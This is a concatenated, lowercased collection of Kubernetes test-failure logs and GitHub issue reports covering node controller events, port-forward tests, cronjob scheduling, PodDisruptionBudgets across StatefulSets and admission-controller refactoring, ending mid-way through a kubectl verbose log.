status is now: nodenotready\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:102067633, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:102067633, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b427e961b1\  not found'  will not retry!  i0205 01:14:26.124204   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.124667   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b427fa4f4b\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:103177035, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:103177035, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b427fa4f4b\  not found'  will not retry!  i0205 01:14:26.127114   18057 nodecontroller.go:121  sending events to api server. w0205 01:14:26.128642   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.128825   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller i0205 01:14:26.129011   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node1 event: registered node node1 in nodecontroller w0205 01:14:26.129249   18057 nodecontroller.go:624  missing timestamp for node node1. assuming now as a timestamp. e0205 01:14:26.129030   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b4297b9ed4\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:128428756, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:128428756, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b4297b9ed4\  not found'  will not retry!  i0205 01:14:26.129724   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'removingnode' node node1 event: removing node node1 from nodecontroller e0205 01:14:26.129811   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node1.142fe6b4297d9ca4\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node1 event: registered node node1 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:128559268, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:128559268, loc: _time.location  0x13de020 }}, count:1}': 'event \ node1.142fe6b4297d9ca4\  not found'  will not retry!  i0205 01:14:26.130422   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'deletingallpods' node node1 event: deleting all pods from node node1. e0205 01:14:26.130399   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node1.142fe6b4298e0ea9\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ removingnode\ , message:\ node node1 event: removing node node1 from nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:129637033, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:129637033, loc: _time.location  0x13de020 }}, count:1}': 'event \ node1.142fe6b4298e0ea9\  not found'  will not retry!  e0205 01:14:26.130589   18057 event.go:246  could not construct reference to: '&api.pod{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ pod1\ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, spec:api.podspec{volumes:  api.volume nil , containers:  api.container nil , restartpolicy:\ \ , terminationgraceperiodseconds: _int64  nil , activedeadlineseconds: _int64  nil , dnspolicy:\ \ , nodeselector:map string string nil , serviceaccountname:\ \ , nodename:\ node1\ , hostnetwork:false, hostpid:false, hostipc:false, imagepullsecrets:  api.localobjectreference nil }, status:api.podstatus{phase:\ \ , conditions:  api.podcondition nil , message:\ \ , reason:\ \ , hostip:\ \ , podip:\ \ , starttime: _unversioned.time  nil , containerstatuses:  api.containerstatus nil }}' due to: 'selflink was empty, can't make reference'. will not report event: 'nodecontrollereviction' 'marking for deletion pod pod1 from node node1' e0205 01:14:26.130924   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node1.142fe6b42995ccec\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ deletingallpods\ , message:\ node node1 event: deleting all pods from node node1.\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:130144492, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:130144492, loc: _time.location  0x13de020 }}, count:1}': 'event \ node1.142fe6b42995ccec\  not found'  will not retry!  i0205 01:14:26.132142   18057 nodecontroller.go:125  no api server defined - no events will be sent to api server. --- fail: testdelnode  0.00s      rate_limited_queue_test.go:76: invalid queue. got  0xc820016a80 0xc820016a40 , expected  second third  fail coverage: 56.2% of statements ok      k8s.io/kubernetes/cmd/mungedocs 1.214s  coverage: 75.2% of statements i0204 12:45:38.932350   27040 task_test.go:104  tt initialized e0204 12:45:38.933337   27040 task.go:218  logger for task \ bar\  crashed: qux i0204 12:45:38.933519   27040 task_test.go:91  tt.finished: ok true i0204 12:45:38.938187   27040 task.go:421  task \ foo\  exited with status 1 i0204 12:45:38.938357   27040 task.go:421  task \ bar\  exited with status 2 i0204 12:45:38.938937   27040 task_test.go:200  each task process has completed one round i0204 12:45:38.939010   27040 task_test.go:215  firing quit signal i0204 12:45:38.939055   27040 task_test.go:218  waiting for tasks to die i0204 12:45:38.939248   27040 task.go:348  killing foo  force=false  :  i0204 12:45:38.939410   27040 task.go:348  killing bar  force=false  :  i0204 12:45:38.939636   27040 task_test.go:221  waiting for merge to complete i0204 12:45:38.940063   27040 task.go:348  killing foo  force=false  :  i0204 12:45:38.940161   27040 task.go:348  killing foo  force=true  :  i0204 12:45:38.940911   27040 task.go:348  killing foo  force=false  :  i0204 12:45:38.941029   27040 task.go:348  killing foo  force=true  :  w0204 12:45:38.941136   27040 task.go:352  failed to kill process: \ \  pid -1: for some reason kill failed i0204 12:45:38.941269   27040 task.go:348  killing foo  force=false  :  w0204 12:45:38.941328   27040 task.go:352  failed to kill process: \ \  pid 0: for some reason kill failed --- fail: testafterdeath  0.00s      <autogenerated>:31:       error trace:    task_test.go:244  error:      not equal: 123  expected                  != 0  actual   <autogenerated>:31:   error trace:    task_test.go:245  error:      no error is expected but got failed to kill process: \ \       fail coverage: 69.3% of statements fail    k8s.io/kubernetes/contrib/mesos/pkg/minion/tasks    0.064s ok      k8s.io/kubernetes/cmd/kube-proxy/app    1.071s  coverage: 14.0% of statements --- fail: test  0.01s      master_test.go:104: unexpected number of changes: 0 fail i0204 13:13:07.441961    2870 portforward.go:245  forwarding from localhost:12345 -> 12345 i0204 13:13:07.442278    2870 portforward.go:245  forwarding from 127.0.0.1:12345 -> 12345 i0204 13:13:07.442458    2870 portforward.go:245  forwarding from  ::1 :12345 -> 12345 e0204 13:13:07.442744    2870 portforward.go:231  unable to create listener: error listen tcp4  ::1 :12345: non-ipv4 address <nil> e0204 13:13:07.442866    2870 portforward.go:231  unable to create listener: error listen tcp6 127.0.0.1:12345: bind: invalid argument e0204 13:13:07.442969    2870 portforward.go:231  unable to create listener: error listen tcp6: too many colons in address ::1:12345 i0204 13:13:07.447943    2870 portforward.go:245  forwarding from 127.0.0.1:5000 -> 5000 i0204 13:13:07.448326    2870 portforward.go:245  forwarding from  ::1 :5000 -> 5000 i0204 13:13:07.459508    2870 portforward.go:245  forwarding from 127.0.0.1:5001 -> 5001 i0204 13:13:07.459925    2870 portforward.go:245  forwarding from  ::1 :5001 -> 5001 i0204 13:13:07.460450    2870 portforward.go:245  forwarding from 127.0.0.1:6000 -> 6000 i0204 13:13:07.461783    2870 portforward.go:245  forwarding from  ::1 :6000 -> 6000 i0204 13:13:07.464004    2870 portforward.go:287  handling connection for 5001 i0204 13:13:07.490403    2870 portforward.go:287  handling connection for 6000 --- fail: testforwardports  0.05s      portforward_test.go:270: forward 2 ports with bidirectional data: server expected to receive \ ghij\ , got \ \  for port 6000 e0204 13:13:07.499443    2870 portforward.go:354  error copying from local connection to remote stream: write tcp 127.0.0.1:50829->127.0.0.1:38986: write: broken pipe i0204 13:13:07.501837    2870 portforward.go:245  forwarding from 127.0.0.1:5555 -> 5555 i0204 13:13:07.502142    2870 portforward.go:245  forwarding from  ::1 :5555 -> 5555 e0204 13:13:07.504315    2870 portforward.go:231  unable to create listener: error listen tcp4 127.0.0.1:5555: bind: address already in use e0204 13:13:07.504441    2870 portforward.go:231  unable to create listener: error listen tcp6  ::1 :5555: bind: address already in use w0204 13:13:07.504525    2870 portforward.go:170  unable to listen on port 5555: all listeners failed to create with the following errors: listen tcp4 127.0.0.1:5555: bind: address already in use, listen tcp6  ::1 :5555: bind: address already in use fail coverage: 88.9% of statements fail    k8s.io/kubernetes/pkg/client/unversioned/portforward    0.182s  i0204 13:28:56.011760   27430 task_test.go:104  tt initialized e0204 13:28:56.012545   27430 task.go:218  logger for task \ bar\  crashed: qux i0204 13:28:56.013167   27430 task_test.go:91  tt.finished: ok true i0204 13:28:56.016452   27430 task.go:421  task \ foo\  exited with status 1 i0204 13:28:56.016560   27430 task.go:421  task \ bar\  exited with status 2 i0204 13:28:56.017528   27430 task_test.go:200  each task process has completed one round i0204 13:28:56.017592   27430 task_test.go:215  firing quit signal i0204 13:28:56.017657   27430 task_test.go:218  waiting for tasks to die i0204 13:28:56.017790   27430 task.go:348  killing foo  force=false  :  i0204 13:28:56.017954   27430 task.go:348  killing bar  force=false  :  i0204 13:28:56.018258   27430 task_test.go:221  waiting for merge to complete i0204 13:28:56.018577   27430 task.go:348  killing foo  force=false  :  i0204 13:28:56.018721   27430 task.go:348  killing foo  force=true  :  i0204 13:28:56.019424   27430 task.go:348  killing foo  force=false  :  i0204 13:28:56.019547   27430 task.go:348  killing foo  force=true  :  w0204 13:28:56.019614   27430 task.go:352  failed to kill process: \ \  pid -1: for some reason kill failed i0204 13:28:56.019720   27430 task.go:348  killing foo  force=false  :  w0204 13:28:56.019787   27430 task.go:352  failed to kill process: \ \  pid 0: for some reason kill failed --- fail: testafterdeath  0.00s      <autogenerated>:31:       error trace:    task_test.go:244  error:      not equal: 123  expected                  != 0  actual   <autogenerated>:31:   error trace:    task_test.go:245  error:      no error is expected but got failed to kill process: \ \       fail coverage: 69.3% of statements fail    k8s.io/kubernetes/contrib/mesos/pkg/minion/tasks    0.058s

i followed the guide \ http://kubernetes.io/docs/user-guide/\  and tried to deploy a pod. however i get the error below.  i changed the image registry to a local address on all mesos computing nodes options='--selinux-enabled=false --insecure-registry 192.168.1.151:5000' it still try to pull the image from gcr.io which is not available.  warningfailedsync   error syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with errimagepull: \ image pull failed for gcr.io/google_containers/pause-amd64:3.0, this may be because there are no credentials on this request.  details:  net/http: request canceled \   how to change docker image registry when running k8s on mesos? i am new to k8s and mesos.  redcornerr

forked from  37580\r \r  docker version: 1.11.2 \r  os: gci \r \r if docker gets killed repeated in a short time frame  while kubelet is running and trying to create containers , some container processes may get reparented to pid 1 and continue running, but no longer visible from the docker daemon.\r \r this can be produced by running the  network should recover from ip leaks  node e2e test.\r  - test creates 100 pods with the pause image.\r  - test restarts docker   systemctl restart docker   6 times, with 20s interval in between.\r  - test completes successfully.\r  - run  ps -c \ pause\  -f  and see multiple processes running the  pause  command still alive.\r  - run  docker ps  and see no running container.\r running the test a few times  < 3  should reproduce the issue.\r \r \r edit: this issue has been there since the test was first introduced in nov 2016. we will need to check and see if this is fixed in newer docker versions.\r \r /cc @kubernetes/sig-node-bugs

on gce v1.5.3:\r \r steps:\r 1  create a new service of type loadbalancer with an external ip set  that ip is in the external ip set as static on my gcp project \r 2  the service will correctly be created and that external ip will be associated with the corresponding forwarding rules\r 3  delete that service on kubernetes.\r 4  on gcp: the external ip on kubernetes will remain attached to the forwarding rules.\r \r i was expecting those forwarding rules to be cleaned up upon deletion of the service since those were initially created by kubernetes.\r \r if the external ip is not explicitly set, the behavior seems more random. the forwarding rule and ip seem to sometimes remain and some other times be deleted.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : externalname\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : private pc\r -   os    e.g. from /etc/os-release : name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  : linux centos-master 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  : i wanted to create an externalname service with this descriptor\r    \r {\r     \ kind\ : \ service\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ myservice.namespace\ \r     },\r     \ spec\ : {\r         \ ports\ :  \r             {\r                 \ protocol\ : \ tcp\ ,\r                 \ port\ : 6379,\r                 \ targetport\ : 6379\r             }\r          ,\r         \ type\ : \ externalname\ ,\r         \ externalname\ : \ service.namespace2.svc.cluster.local\ \r     }\r }\r    \r i got the following error message:\r  the service \ myservice.namespace\  is invalid: metadata.name: invalid value: \ myservice.namespace\ : must match the regex  a-z   -a-z0-9   a-z0-9  ?  e.g. 'my-name' or 'abc-123'  \r \r   what you expected to happen  :\r i expected to have support for multi-label cname records, as per the value of \ name\ .\r \r   how to reproduce it    as minimally and precisely as possible :\r it is easy, just try to create externalname service with multi-label  name.\r \r   anything else we need to know  :\r please let me know if you need more information.\r

what happened  :\r sometimes we found our cluster had some pods in  terminating  state, but the containers in these pods were stopped. we also found some logs in kubelet said  pod xxx is terminated, but some containers are still running . \r \r   what you expected to happen  :\r these pod should be deleted\r \r   how to reproduce it  as minimally and precisely as possible   :\r it's hard to replay our situation, but we think the following event sequences will cause the problem:\r \r suppose this happened in the same pod.\r 1. podworker dealt with some update events in  managepodloop , and  lastundeliveredworkupdate  already cached an event.\r 2. pleg found a container exited, and emitted an  syncpodsync  event to podworker.\r 3.  updatepod  function can neither deal with it or cache the event from pleg, so podworker dropped this event.\r 4. pleg will not send it again, because it put the new pod in his own  podrecords  and in next  relist  pleg don't generate new update event.\r \r besides we changed unit test  testupdatepod  https://github.com/kubernetes/kubernetes/pull/52640 , it seems this change can reproduce similar situation.

/ /  /status approved-for-milestone\r @kubernetes/sig-apps-test-failures \r \r this test has been failing since at least 2017-11-13 in the following jobs:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-master\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-cluster\r \r these jobs are on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevent us from cutting v1.9.0-beta.1  kubernetes/sig-release 34 . is there work ongoing to bring this test back to green?\r \r triage cluster  ae1720e299d92ebf1b8f  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bk8s%5c.io%5c%5d%5c%20%5c%5bsig%5c-apps%5c%5d%5c%20network%5c%20partition%5c%20%5c%5bdisruptive%5c%5d%5c%20%5c%5bslow%5c%5d%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20pods%5c%20should%5c%20return%5c%20to%5c%20running%5c%20and%5c%20ready%5c%20state%5c%20after%5c%20network%5c%20partition%5c%20is%5c%20healed%5c%20all%5c%20pods%5c%20on%5c%20the%5c%20unreachable%5c%20node%5c%20should%5c%20be%5c%20marked%5c%20as%5c%20notready%5c%20upon%5c%20the%5c%20node%5c%20turn%5c%20notready%5c%20and%5c%20all%5c%20pods%5c%20should%5c%20be%5c%20mark%5c%20back%5c%20to%5c%20ready%5c%20when%5c%20the%5c%20node%5c%20get%5c%20back%5c%20to%5c%20ready%5c%20before%5c%20pod%5c%20eviction%5c%20timeout ae1720e299d92ebf1b8f \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:219\r nov 20 09:53:30.042: failed to observe node ready status change to false\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:61\r    \r \r - this showed up as a failure during the v1.8.0 release  https://github.com/kubernetes/kubernetes/issues/53018 \r - the issue referenced therein was reopened and seems to have been failing ever since?  https://github.com/kubernetes/kubernetes/issues/47820

hey, \r i don't know if this is something that would be of use to other people, but i'd quite like to use pdb's to control the maximum number of unavailable pods across multiple statefulsets.\r \r take this example, where i have pushed an upgrade to my base elasticsearch image.  my hot, warm and master nodes all use this image, and to minimise stress on the cluster i would ideally like to only down one of those at any given time  but they're fundamentally different statefulsets .\r \r as a result, with a bit of wishful thinking, i created a pdb with a label which is common across them all and hoped that the pdb would be honoured but alas, it wasn't.\r \r    \r ❯ k describe pdb elasticsearch-pdb\r name:             elasticsearch-pdb\r namespace:        default\r max unavailable:  1\r selector:         stack=elastic\r status:\r     allowed disruptions:  0\r     current:              11\r     desired:              14\r     total:                15\r events:                   <none>\r    \r \r as you can see, the rollout was still done across each statefulset and the pdb dipped below the desired.\r    \r ❯ k get pods\r name                        ready     status              restarts   age\r elasticsearch-data-hot-0    1/1       running             0          10h\r elasticsearch-data-hot-1    1/1       running             0          10h\r elasticsearch-data-hot-2    1/1       running             0          10h\r elasticsearch-data-hot-3    1/1       running             0          10h\r elasticsearch-data-hot-4    0/1       init:0/1            0          1m\r elasticsearch-data-warm-0   1/1       running             0          10h\r elasticsearch-data-warm-1   1/1       running             0          10h\r elasticsearch-data-warm-2   1/1       running             0          10h\r elasticsearch-data-warm-3   1/1       running             0          10h\r elasticsearch-data-warm-4   0/1       init:0/1            0          45s\r elasticsearch-master-0      1/1       running             0          10h\r elasticsearch-master-1      1/1       running             0          10h\r elasticsearch-master-2      0/1       podinitializing     0          1m\r kibana-0                    1/1       running             0          1d\r kibana-1                    0/1       containercreating   0          1m\r /users/karl.stoney/git/autotrader/charts/helm-infra-elasticsearch git/master\r ❯ k get pdb\r name                min available   max unavailable   allowed disruptions   age\r elasticsearch-pdb   n/a             1                 0                     1d\r /users/karl.stoney/git/autotrader/charts/helm-infra-elasticsearch git/master\r    \r \r anyone have any suggestions of how to ensure a single pod rolling update across a collection of statefulsets/deployments?

 \r   what happened  :\r when updating a cronjob, the schedule takes effect retroactively, meaning \ missed\  jobs from before the update are started\r   what you expected to happen  :\r the new schedule only takes effect from the time of the update\r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ tz=utc date\r wed may  2 16:32:01 utc 2018\r $ kubectl run test --image=alpine --schedule='33 16      ' --restart=never echo hi\r cronjob \ test\  created\r $ kubectl get cronjob\r name      schedule      suspend   active    last schedule   age\r test      33 16         false     1         wed, 02 may 2018 12:33:00 -0400\r $ tz=utc date\r wed may  2 16:34:08 utc 2018\r $ kubectl get -o yaml cronjob test|sed 's/33 16/34 16/g'|kubectl replace -f -\r cronjob \ test\  replaced\r $ kubectl get cronjob\r name      schedule      suspend   active    last schedule   age\r test      34 16         false     2         wed, 02 may 2018 12:34:00 -0400\r    \r \r   anything else we need to know?  :\r looks like the culprit is at https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cronjob/utils.go l113, where the earliesttime to consider scheduling a job is set to the cronjob's creationtimestamp, without taking the updatetimestamp into account\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r \r @soltysh \r

is this a bug report or feature request?  :\r \r  \r currently, the volume controller's block volume mount generator function makes assumptions how internal volume plugins work and mount block devices.  while these assumptions are ok for most internal volume plugins, they won't work for the csi, which delegates further to external csi drivers.  \r \r the volume controller mount generator function should be refactored to delegate the mapping decision to the blockvolumemapper interface implemented by the internal volume plugins.\r \r 

leave the discussion open here :  \r \r we want to use external clientset / informers inside admission controllers instead of the internals. with the help of this, the admission check would be done by using external types as auxiliary types for \r  admitting internal types in the admission check. basically the refactor of this part would be following the \ defacto\  that:\r \r - if we are consuming some object => use external types\r - if we are serving/handling some object => use internal types\r \r so far we are already on the way of do the same refactoring for  kubectl . though we are not gonna apply the refactor to the admission controllers except for  initialization , namespacelifecycle ,  webhook , etc. which are already refactored. the change for core admission controllers might still be necessary in the future. \r \r literally, i'm a fan of the idea that refactoring throughout \ internal->external\  so that the lumping codes in this repo could be decoupled into more extensible parts. 😃\r \r /cc @deads2k @sttts @soltysh \r /cc @adohe @dixudx\r \r ---\r \r admission controller view:\r \r -  x  ~ noderestriction   node  externalization  67116~\r -  x  ~ denyescalatingexec   exec  externalization  67831~\r -  x  ~ limitranger  externalization  67696~\r -  x  ~ namespaceautoprovision/namespaceexists  externalization  69133~\r -  x  ~ podnodeselector  externalization  70167~\r -  x  ~ podpreset  externalization  67810~\r -  x  ~ podtolerationrestriction  externalization  70167~\r -  x  ~ priority  externalization  67842~\r -  x  ~ resourcequota  externalization  67870~\r -  x  ~ podsecuritypolicy  externalization  67846  69685~\r -  x  ~ serviceaccount  externalization  67576~\r -  x  ~ defaultstorageclass/storageobjectinuseprotection  externalization  67194  67704~\r \r ---\r \r resource dependency view:\r \r -  x  ~pod:  noderestrction ,  nodeauthorizer   67116~ \r -  x  ~node:  nodeauthorizer   67497~\r -  x  ~pv:  nodeauthorizer ,  storageobjectinuseprotection   67194~\r -  x  ~volumeattachment:  nodeauthorizer   58462~\r -  x  ~limitranger:  limitranger   67696~\r -  x  ~namespace:  podnodeselector ,  podtolerationrestriction   70167~\r -  x  ~podpreset:  podpreset   67810~\r -  x  ~priorityclass:  priority   67842~\r -  x  ~resourcequota:  resourcequota   67870~\r -  x  ~podsecuritypolicy:  podsecuritypolicy   67846  69685~\r -  x  ~secret:  serviceaccount   67576~\r -  x  ~serviceaccount:  serviceaccount   67576~\r -  x  ~storageclass:  defaultstorageclass   67704~\r -  x  ~pvc:  storageobjectinuseprotection   67194~\r -  x  ~rbac :  rbacauthorizer   63967~\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when running  kubectl describe cronjob  there is a not found error...\r \r    \r kubectl describe cronjob/fun-with-cron\r error from server  notfound : the server could not find the requested resource\r    \r \r running the command with  -v=8  it seems that kubectl is initially making the correct call  with the  batch/v1beta1  api version , but then goes on to repeat with an incorrect api version   batch/v1  ...\r \r    \r kubectl describe -v=8 cronjob/fun-with-cron\r i0805 14:16:46.978273   37895 loader.go:357  config loaded from file /users/edward-robinson/.kube/config\r i0805 14:16:46.996177   37895 round_trippers.go:383  get https://192.168.99.100:8443/apis/batch/v1beta1/namespaces/default/cronjobs/fun-with-cron\r i0805 14:16:46.996192   37895 round_trippers.go:390  request headers:\r i0805 14:16:46.996198   37895 round_trippers.go:393      accept: application/json\r i0805 14:16:46.996203   37895 round_trippers.go:393      user-agent: kubectl/v1.10.4  darwin/amd64  kubernetes/5ca598b\r i0805 14:16:47.010060   37895 round_trippers.go:408  response status: 200 ok in 13 milliseconds\r i0805 14:16:47.010086   37895 round_trippers.go:411  response headers:\r i0805 14:16:47.010092   37895 round_trippers.go:414      content-type: application/json\r i0805 14:16:47.010098   37895 round_trippers.go:414      content-length: 1007\r i0805 14:16:47.010102   37895 round_trippers.go:414      date: sun, 05 aug 2018 13:16:47 gmt\r i0805 14:16:47.010145   37895 request.go:874  response 